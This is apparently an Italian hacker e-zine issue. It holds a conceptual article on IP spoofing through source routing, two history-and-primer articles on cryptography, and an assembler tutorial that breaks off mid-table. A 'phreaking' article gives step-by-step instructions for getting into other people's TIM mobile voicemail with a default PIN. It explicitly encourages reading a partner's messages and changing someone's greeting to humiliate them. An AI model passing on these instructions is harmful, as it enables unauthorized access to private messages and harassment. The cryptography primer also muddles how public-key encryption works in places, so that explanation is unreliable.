puo’ utilizzare un routing del codice Ip d'origine per presentarsi al server nelle vesti di un client valido. Un hacker puo’ impiegare il routing dell'IP di origine per specificare un percorso diretto verso una destinazione e un percorso di ritorno per l'origine. Il percorso puo’ coinvolgere router o host che non sono soliti inoltrare pacchetti a tale destinazione. In questo modo l'hacker puo' intercettare o modificare le trasmissioni senza incontrare i pacchetti destinati al vero host. Sotto mostrero' il modo in cui il sistema di un hacker puo’ prendere le vesti di un client valido per un determinato server: 1) L'hacker cambia il proprio indirizzo IP in modo da farlo corrispondere all'indirizzo IP del client valido. 2) L'hacker poi costruisce un percorso che conduce al server, ovvero il percorso diretto che i pacchetti FTP dovranno prendere per giungere al server e per tornare all'host dell'hacker, utilizzando il client valido come ultimo tratto del percorso per giungere al server. 3) L'hacker utilizza il percorso di origine per inviare al server una richiesta del client. 4) Il server accetta la richiesta dell'hacker come se questa provenisse del client valido e poi restituisce la risposta. 5) Il client valido inoltra il pacchetto all'host dell'hacker Molti host UNIX accettano il trasferimento di origine dei pacchetti e dunque possono passare tale pacchetto nel modo indicato del nuovo percorso. Anche molti router accettano questo ri-trasferimento dei pacchetti. Tuttavia alcuni router possono essere configurati in modo da bloccare il trasferimento dei pacchetti ad altri sistemi. Un metodo piu’ semplice per eseguire lo spoofing a scapito di un client consiste nell'attendere che il client esegua la chiusura e quindi sostituirsi a tale sistema. In molte aziende, i membri dello staff utilizzano personal computer e software di rete TCP/IP per connettersi e utilizzare host UNIX. In genere i personal computer ottengono l'accesso alle directory e ai file del server utilizzando il sistema NFS (Networking File System) UNIX (NFS utilizza gli indirizzi IP solo per autentificare i client). Un hacker potrebbe presentarsi come il vero client e configurare un personal computer con lo stesso nome e lo stesso indirizzo di un altro per poi eseguire connessioni con l'host UNIX. Un hacker puo' eseguire con facilita' questo attacco spoofing. Inoltre l'attacco viene portato dall'interno, poiche’ solo il dipendente puo’ conoscere quali computer di una rete protetta sono attualmente spenti. written by cl0ud .============================================================[ phreacking ]====. | Hackiamo la segreteria del telefonino tim | °==================================================================[ brustox ]=° okkei ciao a tutti... io sono brustox spero le mie info vi siano utili... bene... dunque il trucchetto me lo ha passato un mio caro amico...(grazie ste) ok.. chiamate e vi risponde la segreteria telefonica, ora tutto quello che dovete fare e' premere 1111# la signorina vi chiedera' ora di immettere il codice di autorizzazione..... questo codice puo' essere cambiato dall'utente, dato che pero' la meta' della gente non ci capisce un cazzo lascia quello di default che e' sempre 1111# inserito il codice avrete il controllo completo della segreteria, potete cioe' ascoltare tutti i messaggi (ottimo se avete una tipa particolarmente zokkola) oppure cambiare il messaggio di avvio (questo va benissimo per sputtanare lo zarrone di turno che vi sta sul cazzo). e' molto semplice provate...... un salutone a tutti Ciapzz .==============================================================[ crypting ]====. | Cenno storico alla crittografia | °==============================================[ [Gnomix] - gnomix@iname.com ]=° {Ecco qua davanti alla mia postazione :-)) a scrivere il mio primo articolo per i mentorz: cenno storico alla crittografia. Bhe non vi voglio rompere le palle con le solite presentazioni se non di andare al mio mitico sito ;) www.gnomix.cjb.net ... Bhe basta commenti e via con la lettura :)) } Maggio 1976, Stati Uniti: "siamo all'inizio di una rivoluzione nella crittografia". Con queste parole inizia "New Directions in Cryptography", un articolo scritto da Whitfield Diffie e Martin Hellman, pubblicato sulle "IEEE Transactions on Information Theory" del novembre '76, nel quale si annuncia l'invenzione della chiave pubblica, un sistema rivoluzionario di cifratura delle informazioni. Qualche anno piu' tardi i sistemi di crittografia a chiave pubblica verranno utilizzati per lo sviluppo di strumenti in grado di garantire sicurezza e riservatezza alle comunicazioni elettroniche in rete. La crittografia a chiave pubblica, altrimenti detta a "doppia chiave", e' una tecnica semplice e sofisticata al tempo stesso: ogni utente e' in possesso di due chiavi, una privata, strettamente personale, da custodire gelosamente, e una pubblica, che puo' essere liberamente divulgata e trasmessa anche attraverso canali di comunicazione non sicuri. La chiave pubblica viene impiegata per la codifica dei messaggi, per trasformare un testo in chiaro in un testo crittografato, impossibile da leggere e decifrare. Per mandare un messaggio riservato non si dovra' semplicemente utilizzare la chiave pubblica del destinatario per la codifica (detta anche criptazione del messaggio). Per il passaggio inverso la chiave pubblica e' inutile: il testo puo' essere decodificato (decriptato) unicamente utilizzando la chiave privata, rimasta al sicuro nelle mani del destinatario all'interno del proprio computer o su un dischetto ben custodito sotto chiave. E' come se si utilizzasse una cassetta postale molto profonda, con una serratura in cima, che puo' essere aperta con la chiave pubblica, e una sul fondo, che solo la chiave privata puo' sbloccare. Chiunque puo' farmi arrivare un messaggio inserendolo nella cassetta con la chiave pubblica, che posso distribuire tranquillamente, ma solo io con la mia chiave privata posso aprire il fondo della cassetta per far cadere i messaggi nelle mie mani. Il metodo matematico alla base della crittografia a chiave pubblica si basa sui numeri primi e su funzioni matematiche che e' quasi impossibile invertire. Dati due numeri primi, e' molto facile stabilire il loro prodotto, mentre e' molto piu' difficile determinare, a partire da un determinato numero, quali numeri primi hanno prodotto quel risultato dopo essere stati moltiplicati tra loro. Invertire il prodotto di due numeri primi e' ancora piu' difficile quando si tratta di un numero composto da molte cifre. E' per questo che si parla di chiavi private "a 256 bit" o a "512 bit", utilizzando la lunghezza della chiave crittografica come una misura della sua robustezza. Grazie alla crittografia a doppia chiave, i messaggi di posta elettronica e qualunque altro documento in grado di transitare su di una rete di computer possono soddisfare tre fondamentali caratteristiche della sicurezza. In primo luogo e' possibile spedire messaggi "in busta chiusa", cioe' leggibili dal solo destinatario. E' inoltre possibile autenticare i messaggi, avere la certezza che un testo elettronico ci viene spedito da una certa persona, oppure certificare la paternita' di un messaggio utilizzando una "firma digitale", un insieme di caratteri che puo' essere generato solo da chi e' in possesso della chiave privata. L'autenticita' della firma e' verificabile utilizzando la chiave pubblica del "firmatario". La terza caratteristica dei sistemi a doppia chiave e' quella di garantire l'integrita' dei messaggi. Possiamo avere la certezza che un messaggio non e' stato in alcun modo manipolato durante il suo transito in rete. La nascita della crittografia a chiave pubblica, lungi dall'essere una semplice speculazione matematica, ha come primo effetto quello di minare l'egemonia che la National Security Agency, NSA, aveva esercitato negli Stati Uniti fino alla pubblicazione dell'articolo di Hellman e Diffie. Nsa aveva controllato per decenni lo sviluppo delle tecnologie di crittografia, rendendo impossibile il lavoro dei programmatori con delle intricate procedure per i brevetti ed equiparando gli strumenti crittografici alle armi pesanti, la cui esportazione e' impossibile senza una esplicita approvazione governativa. Gli strumenti per il controllo della privacy non potevano essere gestiti dai singoli cittadini, ma era il governo degli Stati Uniti a reclamare per se', in maniera paternalistica, il controllo su strumenti che avrebbero potuto garantire la sicurezza delle comunicazioni e l'anonimato di soggetti particolarmente a rischio, come perseguitati politici o attivisti per i diritti umani che operano in zone di guerra. Hellman e Diffie danno il primo colpo di piccone per la conquista della "privacy per le masse". I due sviluppano le loro teorie alla Stanford University, all'interno del laboratorio di intelligenza artificiale guidato da John McCarty. --L'algoritmo RSA-- Nel 1978 Ronald Rivest, Adi Shamir e Leonard Adleman, tre giovani professori del MIT, sviluppano la prima applicazione pratica basata sulle tecniche di crittografia a doppia chiave. Si tratta di una procedura di calcolo per la cifratura di messaggi che prendera' il nome di "algoritmo RSA", dalle iniziali dei suoi tre inventori. Nel corso degli anni l'algoritmo RSA ha piu' volte dimostrato la sua robustezza: in un esperimento del 1994, coordinato da Arjen Lenstra dei laboratori Bellcore, per "rompere" una chiave RSA di 129 cifre, svelando il meccanismo con cui quella chiave generava messaggi crittografati, sono stati necessari 8 mesi di lavoro coordinato effettuato da 600 gruppi di ricerca sparsi in 25 paesi, che hanno messo a disposizione 1600 macchine da calcolo, facendole lavorare in parallelo nei loro "tempi morti", collegate tra loro attraverso Internet. Data la mole delle risorse necessarie per rompere la barriera di sicurezza dell'algoritmo RSA, e' chiaro come un attacco alla privacy di un sistema a doppia chiave non sia praticamente realizzabile. Inoltre, poiche' i programmi di crittografia attualmente a disposizione prevedono chiavi private con una "robustezza" che raggiunge e supera i 2048 bit, questi sistemi crittografici risultano praticamente inattaccabili, e l'ordine di grandezza dei tempi necessari alla rottura di chiavi di questo tipo cresce rapidamente, passando in fretta dai mesi alle decine di anni. Il governo americano mette i bastoni tra le ruote all'algoritmo RSA: viene deciso che i programmi basati su questo algoritmo si possono utilizzare liberamente negli Stati Uniti, ma la loro esportazione costituisce reato, dal momento che gli strumenti crittografici sono equiparati alle armi pesanti. Da qui le proteste dei vari produttori di software per la crittografia. Un altro ostacolo allo sviluppo di strumenti crittografici e' dovuto al fatto che i tre inventori del sistema RSA decidono nel 1982 di brevettare il loro algoritmo, cioe' un insieme di regole matematiche, costituendo un precedente unico nella storia della scienza. Viene spontaneo chiedersi cosa sarebbe successo se qualcuno avesse deciso di brevettare le regole necessarie per le quattro operazioni. In seguito al brevetto, Rivest, Shamir e Adleman fondano la RSA Data Security Inc, una compagnia nata per lo sfruttamento commerciale del loro sistema di crittografia. Nonostante le restrizioni statunitensi all'utilizzo dell'algoritmo RSA, al di fuori degli USA, dove il governo americano non ha potere e gli algoritmi non sono coperti da brevetto, iniziano a diffondersi numerosi programmi ispirati alla tecnica RSA. --Pretty Good Privacy-- Nel giugno 1991 lo statunitense Philip Zimmermann realizza e distribuisce gratuitamente il programma PRETTY GOOD PRIVACY (PGP) un programma di crittografia "a doppia chiave" basato sulle tecniche brevettate da Rivest, Shamir e Adleman. PGP permette di mantenere la privacy e la sicurezza dei propri dati personali in formato elettronico. I messaggi di posta elettronica sono come delle cartoline, che possono essere lette da tutti, come in realta' avviene in molti Paesi in cui vige un controllo repressivo delle informazioni. Grazie al PGP e' possibile scambiarsi via email anche l'equivalente di una lettera in busta chiusa. Per la realizzazione di PGP, Zimmermann viene citato in tribunale dalla RSA Data Security Inc. per violazione del brevetto sull'algoritmo RSA, e accusato dal governo degli Stati Uniti di esportazione illegale di strumenti crittografici. Entrambe le cause finiscono nel nulla. L'accusa di esportazione illegale viene ritirata nel 1996, mentre la controversia con RSA verra' mediata da James Bruce del Massachussets Institute of Technology, che spingera' le due parti in causa alla collaborazione per la realizzazione delle nuove versioni di PGP a partire dalla 2.5. Zimmermann verra' insignito nel 1995 da uno degli "awards" della Electronic Frontier Foundation, i riconoscimenti assegnati dalla prestigiosa fondazione a tutti coloro che ogni anno danno un contributo determinante alla liberta' della frontiera elettronica. L'importanza della crittografia verra' affermata nell'autunno '92 da Timothy May, che nel manifesto del movimento Crypto-anarchico afferma che "Proprio come un'invenzione apparentemente minore come il filo spinato ha reso possibile il recintare vasti ranch e fattorie, alterando cosi' per sempre il concetto di terra e i diritti di proprieta', cosi' anche la scoperta apparentemente minore di una branca arcana della matematica diventera' come le cesoie da metallo che smantelleranno il filo spinato attorno alla proprieta' intellettuale". E' interessante leggere l'introduzione fatta da Zimmermann al manuale d'uso che viene distribuito assieme al PGP: "Che accadrebbe se tutti pensassero che i cittadini onesti usano solo cartoline per la loro posta? Se qualche persona per bene volesse usare una busta chiusa per proteggere la sua privacy, desterebbe dei grossi sospetti. Forse le autorita' aprirebbero la sua posta per controllare cosa nasconde. Fortunatamente non viviamo in un mondo fatto cosi', perche' tutti proteggono la maggior parte della loro posta chiudendola in una busta. In questo modo nessuno da' adito a sospetti facendo rispettare la sua privacy con una busta, perche' e' una pratica molto diffusa. I grandi numeri danno sicurezza. Analogamente, sarebbe bello se tutti usassero abitualmente la crittografia per la loro posta elettronica, indipendentemente dal contenuto piu' o meno riservato. In tal modo nessuno desterebbe sospetti affermando la privacy della propria posta elettronica con la crittografia, il cui uso e' una forma di solidarieta' (...) andiamo verso un futuro in cui il nostro paese sara' attraversato da reti in fibra ottica ad alta velocita' che collegheranno tutti noi ai nostri computer, sempre piu' mobili. La posta elettronica sara' una cosa normale per tutti, non la novita' che e' oggi. Il Governo proteggera' la nostra posta elettronica con dei metodi crittografici progettati dal Governo stesso. Probabilmente a molta gente andra' bene. Ma forse delle persone preferiranno delle misure protettive personali. La proposta di legge al senato 266 (la proposta per l'introduzione del Clipper Chip, NdR), una proposta anti-crimine, aveva nascosta al suo interno una misura preoccupante. Se questa risoluzione non vincolante fosse divenuta legge, avrebbe obbligato i produttori di attrezzature per le comunicazioni riservate ad inserire delle speciali backdoor nei loro prodotti, permettendo al governo di leggere i messaggi cifrati di chiunque. Nel testo della proposta si legge: " ... e' idea del Congresso che i fornitori di servizi di comunicazione elettronica e i produttori di attrezzature assicurino che i sistemi di comunicazione permettano al governo di ottenere il contenuto in testo leggibile di voce, dati e altre comunicazioni quando autorizzati dalla legge". Questa misura e' stata sconfitta dopo rigorose proteste di gruppi industriali e di difesa delle liberta' civili. Ma il governo da allora ha introdotto altre leggi preoccupanti per arrivare ad obiettivi simili. Se la privacy viene messa fuori legge, solo i fuorilegge avranno privacy. I servizi segreti hanno accesso a della buona tecnologia crittografica. Anche i grossi trafficanti di armi e di droga. E anche i titolari di appalti della difesa, le compagnie petrolifere e i giganti corporativi. Ma la gente normale e le organizzazioni politiche spontanee per lo piu' non hanno mai avuto accesso, finora, ad una tecnologia di crittografia a chiave pubblica di "livello militare" che fosse economicamente accessibile. Il PGP permette alla gente di prendere la privacy nelle sue mani. C'e' una crescente necessita' sociale per questo. Ecco perche' l'ho scritto." --La sconfitta del DES-- Il 17 luglio 1998 la Electronic Frontier Foundation diffonde un comunicato stampa con il quale annuncia la definitiva sconfitta del DES, lo standard crittografico promosso dal governo Usa e dalla National Security Agency, meno sicuro di altri sistemi crittografici ma decisamente piu' facile da controllare per gli agenti governativi. Per dimostrare i gravi rischi di sicurezza a cui si sottopone chi utilizza il DES, la EFF costruisce il primo apparecchio Hardware non coperto dal segreto di stato per decodificare i messaggi crittografati utilizzando il Data Encryption Standard. I risultati di questo sforzo, costato 250.000 dollari e quasi un anno di lavoro, sono documentati in un libro realizzato dalla EFF ed edito dalla O'Reilly, dal titolo "Cracking DES: Secrets of Encryption Research, Wiretap Politics, and Chip Design." Il libro contiene tutta la documentazione necessaria a riprodurre il "DES Cracker", realizzabile a partire da un normale personal computer domestico. Il testo e' disponibile unicamente in versione cartacea perche' secondo le leggi USA in materia di esportazioni e' reato pubblicare questo tipo di informazioni sull'Internet. Fino al 17 luglio, gli esponenti del governo statunitense affermavano con convinzione che sarebbero stati necessari diversi mesi di calcoli effettuati su sistemi informatici multimiliardari per decifrare i messaggi protetti dal DES. Nel comunicato stampa della Electronic Frontier Foundation, Barry Steinhardt, il direttore esecutivo della fondazione, afferma che "la pretesa inviolabilita' del DES e' stato un argomento utilizzato per giustificare politiche di crittografia debole e di "key recovery". E' tempo di avviare un dibattito serio e ben informato, che porti a una inversione di questa tendenza." A Steinhardt si aggiunge la voce di John Gilmore, cofondatore della Eff e direttore del progetto DES: "La EFF ha dimostrato cio' che gli scienziati avevano intuito gia' da vent'anni, e cioe' che il DES puo' essere violato in maniera rapida ed economica. Ora che i cittadini lo sanno, non potranno piu' essere raggirati con l'acquisto di prodotti che promettono di assicurare la privacy con l'utilizzo del DES." Il Data Encryption Standard, che fa uso di "chiavi" a 56 bit, era stato progettato da IBM e modificato dalla National Security Agency per essere adottato come standard federale nel 1977. **Il prossimo articolo parlero' su come utilizzare la chiave simmetrica e la chiave pubblica** By [Gnomix] URL: www.gnomix.cjb.net www.gnomix.org www.gnomix.net E-mail: gnomix@iname.com Mirc--> Chan #manicomio Server Irc.tin.it Icq 27578392 .==============================================================[ crypting ]====. | Chiave simmetrica e chiave pubblica | °==============================================[ [Gnomix] - gnomix@iname.com ]=° {Come promesso ecco il mio 2° articolo :)) } Prima di spigare la "Chiave simmetrica e chiave pubblica" ecco alcuni concetti fondamentali da leggere prima di immergersi nella crittografia :)) --La crittografia-- Il termine crittografia deriva dal greco kriptos, che significa nascosto, e graphia che significa scrittura. Codificare o cifrare dei dati significa trasformarli in una forma non leggibile. L'idea della codifica delle informazioni risale ad almeno quattromila anni fa, quando gli Egiziani usavano geroglifici modificati per incidere i propri messaggi funerari. Successivamente, in epoca romana, Augusto scriveva i propri messaggi sostituendo ogni lettera con quella successiva, cosicche' "Cesare" diventava "Dftbsf", mentre Giulio Cesare sostituiva ogni lettera con quella posizionata tre posti piu' avanti nell'alfabeto codificando il proprio nome come "Fhvduh". Oggigiorno non bisogna certo essere una spia o compiere azioni illegali per aver bisogno di proteggere dei documenti : e' tempo di demistificare la crittografia e iniziare a farne pieno uso, perche' sara' l'unico strumento che ci permettera' di salvaguardare la nostra privacy nell'era digitale. Da piu' parti si richiede che le informazioni importanti e confidenziali siano memorizzate in forma codificata. L'accesso da parte di persone non autorizzate a dati riservati costituisce un grosso rischio per il lavoro di ciascuno. Cosa ancora piu' importante e' la difesa della propria privacy nelle comunicazioni in Rete: i documenti e i dati elettronici che sono trasmessi attraverso le reti devono essere protetti da occhi indiscreti per lo stesso motivo per cui si chiude una lettera in una busta prima di inviarla. Un'e-Mail e' paragonabile a una cartolina: prima di arrivare a destinazione passa di computer in computer e in molti potrebbero leggerla tranquillamente; le informazioni private potrebbero perfino essere raccolte, organizzate e utilizzate per scopi commerciali. Spesso i programmi di crittografia vengono scelti solo sulla base di un'analisi dell'interfaccia utente. Ma ogni programma di crittografia si basa su uno o piu' procedimenti matematici per crittografare i documenti; procedimenti questi che determinano la qualita' del programma di crittografia. Altro elemento da considerare e' la lunghezza della chiave utilizzata per la codifica: maggiore e' la sua lunghezza e piu' difficile sara' per un malintenzionato avere libero accesso ai dati. Infatti non di rado accade che programmi dall'aspetto piu' spartano utilizzino algoritmi di crittografia piu' potenti e sicuri. Viceversa un programma dall'aspetto accattivante potrebbe esporre i nostri dati a una facile decodifica. Per questo motivo e' sconsigliato affidare i propri documenti alle protezioni messe a disposizione da Word e da WinZip perche' gli schemi di codifica che utilizzano sono facilmente decodificabili: in Rete e' infatti facile trovare programmi di decodifica delle password applicate da questi programmi. Gli algoritmi crittografici di cui e' stato pubblicato il codice sorgente, come per esempio Blowfish sono considerati piu' sicuri. Altri invece che sono tenuti segreti potrebbero contenere delle backdoor che permettono di decifrare i dati anche a chi non possiede la password o potrebbero nascondere delle debolezze intrinseche al processo di codifica utilizzato. Windows 95 e Windows 98 non offrono alcun meccanismo di protezione dei dati, ne' tanto meno la possibilita' di crittografarli, tuttavia esistono numerose e ottime alternative nel mondo dei programmi commerciali, dello shareware e del freeware. --Chiave simmetrica e chiave pubblica-- I normali sistemi di crittografia richiedono la conoscenza di una password che viene utilizzata sia per la fase di codifica sia per quella di decodifica. Per questo motivo sono chiamati sistemi di crittografia a chiave simmetrica. Questi sistemi si prestano molto bene per la protezione di dati locali, ma non risultano pratici per la trasmissione di dati riservati: infatti occorrerebbe trasmettere insieme al messaggio anche la password per la decodifica. Ma se esistesse un canale sicuro e riservato sul quale si puo' trasmettere la password segreta allora esisterebbe anche un canale su cui inviare i dati e la loro codifica non avrebbe senso. In ogni modo, gli algoritmi a chiave simmetrica sono i migliori per crittografare documenti che non devono essere condivisi con nessuno. Esempi di algoritmi a chiave simmetrica sono: Des, Gost, Blowfish, Idea. Per condividere documenti con altre persone, o inviarli via posta elettronica esiste una tecnologia che evita di dover scambiare una password segreta con i destinatari: e' la crittografia a chiave pubblica. Gli utenti che utilizzano questo schema di crittografia non hanno bisogno di condividere alcuna chiave segreta: ogni utente che vuole utilizzare un programma di crittografia a chiave pubblica possiede due chiavi diverse: una chiave e' chiamata pubblica e l'altra privata. L'utente tiene al sicuro la propria chiave segreta, protetta da una frase chiamata PassPhrase, mentre diffonde e rende disponibile la chiave pubblica. Quest'ultima puo' essere pubblicata su Internet, su una pagina Web personale, o puo' essere diffusa via e-Mail. Un utente A che desidera inviare un documento codificato all'utente B deve utilizzare la propria chiave segreta e la chiave pubblica di B per codificare il messaggio. B sara' in grado di decodificare il messaggio con la sua chiave privata e la chiave pubblica di A. Poiche' solo B conosce la propria chiave privata, nessun altro utente sara' in grado di decodificare il documento. Inoltre poiche' B utilizza la chiave pubblica di A per la decodifica avra' la certezza che il messaggio e' stato inviato da A. Questo meccanismo garantisce un'ottima sicurezza nei trasferimenti dati attraverso Internet e permette di verificare l'integrita' del documento nonche' la sua autenticita'. E come se si utilizzasse una cassetta postale molto profonda, con una serratura in alto, che puo' essere aperta con la chiave pubblica, e una sul fondo, che solo la chiave privata puo' sbloccare. Chiunque puo' farsi recapitare un messaggio: e' sufficiente che il mittente lo inserisca nella parte superiore della cassetta utilizzando la chiave pubblica, ma solo il proprietario della cassetta postale, con la sua chiave privata, puo' aprire la parte inferiore per far cadere i messaggi nelle propri mani. Quando si vuole inviare, a una o piu' persone, un documento non confidenziale e' possibile effettuarne la "firma crittografata": quest'ultima operazione consiste nell'allegare al documento un file che ne garantisca l'autenticita' e l'integrita', mentre il testo originale rimane in chiaro e non viene crittografato. L'autore avra' la certezza che nessuno potra' apportare modifiche non autorizzate al documento senza che i destinatari se ne accorgano. D'altra parte i destinatari saranno certi della provenienza del documento in quanto potranno facilmente verificare l'autenticita' della firma allegata. -Scelta della passphrase- La sicurezza di molti algoritmi di crittografia dipende dalla corretta scelta della PassPhrase che si utilizza. E' necessario scegliere una frase che comprenda sia lettere sia numeri. La PassPhrase non deve essere facile da indovinare, non deve contenere dati personali quali la data di nascita o il nome di una persona e non deve essere tratta dal testo di una canzone o dai dialoghi di un film. E' preferibile inventare una frase che non abbia un significato logico, questo rendera' piu' difficile indovinarla. Bisogna ricordarsi che la frase e' case sensitive, ovvero le maiuscole sono considerate diverse dalle minuscole. **Il prossimo numero parlero' dei migliori programmi per crittografare i propri dati** By [Gnomix] URL: www.gnomix.cjb.net www.gnomix.org www.gnomix.net E-mail: gnomix@iname.com Mirc--> Chan #manicomio Server Irc.tin.it Icq 27578392 .================================================================[ coding ]====. | Assembler: Le Basi | °=========================================[ AciDDreaM - acidlair@freeweb.org ]=° _Introduzione e preconcetti: Utilizzeremo in questo corso una macchina virtuale e prettamente accademica chiamata PROC11X; questo non rende assolutamente obsoleto il presente testo ma semplifica l'apprendimento di questo linguaggio a basso livello. Il lettore una volta acquisite queste nozioni potra' facilmente trasportarle a qualunque tipo di processore. Il linguaggio sara' l'AS11X, la macchina PROC11X sara' dotata di memoria a 16 bit. _Caratteristiche di PROC11X: La nostra macchina, sara' dotata di memoria centrale (RAM), terminale per l'input-output (tastiera e monitor) e 8 registri (R0,R1,R2, ....,R7). Il registro R7 sara' un particolare registro denominato anche SP. I REGISTRI: Un registro e' un elemento della makkina stessa (processore) capace di memorizzare 16 bit; Oltre a questi registri standard, vi sono altri 2 registri non direttamente utilizzabili: -> il registro di stato: PSR. -> il contatore di sistema PC. IL TERMINALE: Il terminale e' composto da 2 dispositivi indipendenti: keyboard KB e display DP. Per ora basti sapere che l'utilizzo di questi dispositivi e' legato all'uso di 2 macro di sistema: TREAD$ e TWRITE$. Precisamente: -> TREAD$ destinazione ; legge da tastiera e inserisce in 'destinazione' -> TWRITE$ sorgente ; scrive sul DP il contenuto di 'sorgente' MEMORIA CENTRALE: La memoria centrale sara' la memoria sulla quale andremo a scrivere il programma, per adesso parleremo di memoria centrale soltanto, senza preoccuparci di dispositivi e file-system. Ogni cella di memoria conterra' 16 bit, e sara' indicata da un numero, detto indirizzo. _Aspetti basilari di AS11X ISTRUZIONI: Un'istruzione, come e' facile intuire e' una speciale codifica di bit, che puo' supportare fino a 2 operandi e che altera l'operando stesso o il contenuto di qualche registro. Le istruzioni sono memorizzare nei registri o nelle celle di memoria, e non e' detto che occupino solo una cella. Infatti, come vedremo + avanti, ci sono istruzioni che occupano fino a 3 celle di memoria. PROGRAMMA: Il programma, sara' un insieme di istruzioni in memoria che la macchina PROC11X leggera'. All'esecuzione del programma il registro PC conterra' l'indirizzo della prima cella del programma, in cui sara' memorizzata la prima istruzione da eseguire (o parte di essa se e' compresa in + di una cella ). Ecco come si comportera' la macchina in fase di esecuzione: 1) lettura della cella indicata da PC. 2) se la cella contiene un istruzione finita passa al punto 3, altrimenti incrementa PC e leggi la successiva cella. Torna a 2. 3) esegui l'istruzione appena letta (accedi agli operandi etc. etc.) 4) incrementa il PC. Questa e' la sequenza di operazioni che compie la macchina in fase di esecuzione di un programma. TIPI DI DATO, OPERANDI: Un operando di una qualsiasi istruzione e' sempre rappresentato in una cella di memoria da 16 bit, ovviamente in forma binaria! Quindi una cella da 16 bit puo' contenere combinazioni di bit fino a 2^16 (65536). Le combinazioni di bit possono rappresentare: -Interi positivi (0-65536). .Interi relativi (-32768 ... + 32767) -Caratteri (ASCII generalmente) -Un istruzione (somma, sottrai, salta etc. etc.) ATTENZIONE perche' il linguaggio prevede l'interpretazione IMPLICITA degli operandi, per es. SOMMA prevede come operandi 2 numeri relativi, se mettessimo dei caratteri, l'operazione andrebbe a buon fine, ma con risultati insensati. IL PROGRAMA IN AS11X: Come gia' detto, il programma e' una sequenza di istruzioni, che noi scriveremo, e che il compilatore si preoccupera' di trasformare in forma binaria. Piu' precisamente e' una sequenza di 'enunciati', questi enunciati possono essere: -ISTRUZIONI vere e proprie. -MACRO ISTRUZIONI (o MACRO). -DIRETTIVE. Le ISTRUZIONI sono delle vere e proprie operazioni, ammettono 1 o 2 operandi. Le MACRO di sistema sono (come TREAD$ e TWRITE$) in realta' delle sequenze di istruzioni, che in fase di compilazione verranno SOSTITUITE al loro nome. Sono solitamente seguite dal $ e scritte in maiuscolo. Le DIRETTIVE non saranno tradotte in forma binaria, ma indicheranno delle specifiche operazioni che verranno effettuate nel processo di traduzione dal sorgente all'eseguibile. _2 SEMPLICI PROGRAMMI START: TREAD$ R0 TWRITE R0 EXIT$ .END START --------------------------- START: TREAD$ CAR TWRITE$ CAR EXIT$ CAR: .RES 1 .END START --------------------------- Questi 2 semplici programmi non fanno altro che ricevere un input da tastiera, e restituirlo su monitor (echo); il primo utilizza il registro R0, il secondo una cella di memoria identificata dall'etichetta CAR. Diamo un'occhiata ai 2 sorgenti: Innanzitutto si puo' notare che i listati si suddividono in 3 colonne: | ETICHETTA: | | enunciato | | operando | L'etichetta sulla sinistra, seguita dai ':' e' un nome simbolico, ad arbitrio del programmatore, che fa riferimento all'enunciato che la segue. Ci si puo' cioe' riferire all'enunciato etichettato solamente menzionandone l'etichetta. Piu' precisamente l'etichetta, una volta tradotto il programma in formato binario, sara' l'indirizzo della prima cella di memoria contenente l'enunciato etichettato. La direttiva .END seguita dall'etichetta della prima istruzione eseguibile dice al traduttore qual'e' la prima istruzione da eseguire del nostro programma. E indispensabile perche' NON SEMPRE la prima istruzione del sorgente e' anche la prima istruzione eseguita dal programma. La macro EXIT$, anch' essa indispensabile, indica alla macchina di terminare l'esecuzione del nostro programma; cio' vale in quanto NON sempre l'ultima istruzione del sorgente e' l'ultima istruzione da eseguire. Ora, come si e' visto prima, le 2 macro di sistema TREAD$ e TWRITE$ accettano delle destinazioni, nel primo programma si e' dato il registro R0 come tale, mentre nel secondo abbiamo usato una cella di memoria (allocata con la direttiva .RES1): infatti .RES1 indica di riservare una cella di memoria, e ad essa si avra' accesso con l'etichetta corrispondente (CAR nel nostro caso). _Complicando un po' le cose Ora vediamo di codificare un programma che riceve 5 caratteri da tastiera e li restituisce su display: ------------------------------ START: MOV #5,R1 ; sposta il NUMERO 5 in R1 CICLO: TREAD$ R0 ; legge ed inserisce in R0 TWRITE$ R0 ; legge da R0 e stampa su schermo DEC R1 ; decrementa il contenuto di R1 TST R1 ; controlla R1 e mette in PSR il risultato BNE CICLO ; se il contenuto di PSR e' diverso da 0 ; salta all'etichetta CICLO EXIT$ .END START ------------------------------ Ci troviamo di fronte a delle cose nuove: MOV, DEC, TST, BNE, ed un modo di indirizzamento detto immediato (#5). Iniziamo ad analizzare la prima riga del codice: START: MOV #5,R1 abbiamo gia' visto l'etichetta start, passiamo direttamente all'istruzione MOV, che riceve 2 operandi come argomenti, e copia il primo operando sul secondo. Con MOV operando1, operando2 il valore del primo operando non viene modificato, viene modificato solo l'operando 2. Ma qui siamo di fronte anche a due indirizzamenti diversi: infatti #5 significa 'numero 5', mentre R1 significa registro 1, infatti premettendo la # ad un elemento si ottiene che PROPRIO QUELL'ELEMENTO e' l'operando. Ora credo che guardando la tabella delle istruzioni elementari che segue e la tabella dei salti condizionati, il programma sia self-explaining ------------------------------------------------------------------------ TABELLA ISTRUZIONI MOV s,d ; copia s in d ADD s,d ; esegue s+d e mette il risultato in d SUB s,d ; esegue s-d e mette il risultato in d CMP s1,s2 ; confronta s1 ed s2, aggiornando il contenuto di PSR INC d ; incrementa d DEC d ; decrementa d NEG d ; cambia di segno d TST s ; controlla d, ed aggiorna PSR ------------------------------------------------------------------------ ------------------------------------------------------------------------ ISTRUZIONI DI SALTO BR etichetta -> salta a etichetta BEQ etichetta -> salta a etichetta se: dopo TST s1 (s1=0) dopo CMP s1, s2 (s1=s2) BNE etichetta -> salta a etichetta se: dopo TST s1 (s1 != 0) dopo CMP s1, s2 (s1 != s2) BPL etichetta -> salta a etiketta se: dopo un TST s, s e' positivo BMI etichetta -> salta a etichetta se: dopo un TST s, s e' negativo BGT etichetta -> salta a etichetta se: dopo un CMP s1, s2, s1 > s2 BGE etichetta -> salta a etichetta se: dopo un CMP s1, s2, s1 >= s2 BLE etichetta -> salta a etichetta se: dopo un CMP s1, s2, s1 <= s2 BLT etichetta -> salta a etichetta se: dopo un CMP s1, s2, s1 < s2 _I modi di indirizzamento Abbiamo visto come un'istruzione MOV A, B riesca a copiare il contenuto di A, in B. Se A e B sono due registri, cioe' MOV R1, R2, si otterra' in R2 il registro = ad R1, mentre se il primo operando dell'istruzione MOV fosse un numero, per esempio 5, con MOV #5, R2 otteniamo il numero 5, in R2. Questi sono 2 modi di indirizzamento diversi, 2 dei tanti... vediamo ora + in dettaglio: ------------------------------------------------------------------------------- MODI DI INDIRIZZAMENTO Rn (registro) L'operando e' il contenuto di Rn (Rn) (reg. indiretto) L'operando e' nella cella di memoria, il cui indirizzo e' in Rn (Rn)+ 